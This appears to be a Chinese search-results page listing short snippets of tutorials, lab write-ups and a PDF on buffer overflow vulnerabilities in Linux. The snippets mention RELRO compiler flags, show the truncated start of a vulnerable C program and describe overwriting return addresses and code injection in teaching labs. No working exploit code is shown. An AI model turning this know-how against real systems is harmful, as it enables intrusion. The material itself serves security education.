  • 缓冲区溢出漏洞原理及Linux下利用

    万次阅读 2021-12-26 19:31:11
    ## 关闭: No RELRO -z norelro ## 开启: Partial RELRO(默认选项) -z lazy ## 完全开启: Full RELRO -z now Linux下32位程序栈溢出 漏洞代码 #include #include void success() { puts("Success!\n"); } void ...
  • 缓冲区溢出攻击.pdf

    2020-04-15 20:09:21
    介绍linux系统下,gcc编译的c代码如何利用缓冲区溢出修改函数返回地址和参数,实现攻击,含函数栈帧的分析
  • 缓冲区溢出基础(C语言测试程序)

    千次阅读 2021-10-04 17:55:13
    这次是采用C语言,直接修改目标返回地址的内容,从而达到和使用memcpy等函数进行缓冲区溢出测试同样的效果。 之前在站里找了找案例,发现很多文章没有写明自己的程序是运行在怎样的环境下,以及是多少位系统,我将先...
  • 1、内存结构及缓冲区溢出 1)内存结构 在Windows内存结构中,进程内存按功能分为四个区域,分别是栈区、堆区、代码区、数据区。 代码区:用于存放程序汇编后的机器代码和只读数据,这个内存段的数据一般被标记为...
  • 缓冲区溢出实验

    2021-12-19 11:47:29
    由于栈溢出实质上是对栈进行写操作,所以分析程序,我们可以注意到在主函数中,从 文件进行读并存取构造口令时,进行了写操作,即使预留的空间为1024,但也可以造成栈溢出,只是在此程序中无法利用成功。 1.2软硬件...
  • ctarget和rtarget运行时从标准输入读入字符串,这两个程序都存在缓冲区溢出漏洞。通过代码注入的方法实现对ctarget程序的攻击,共有3关,输入一个特定字符串,可成功调用touch1,或touch2,或touch3就通关,并向...
  • 1 缓冲区溢出攻击实验的内容、原理、方法和基本步骤; 2 过程调用的机器级表示、栈帧组成结构、缓冲区溢出等知识的回顾与应用。 实验目标: 1 加深对函数调用规则、栈结构、缓冲区溢出攻击原理、方法与防范等方面...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 48,615
精华内容 19,446
关键字:

缓冲区溢出代码分析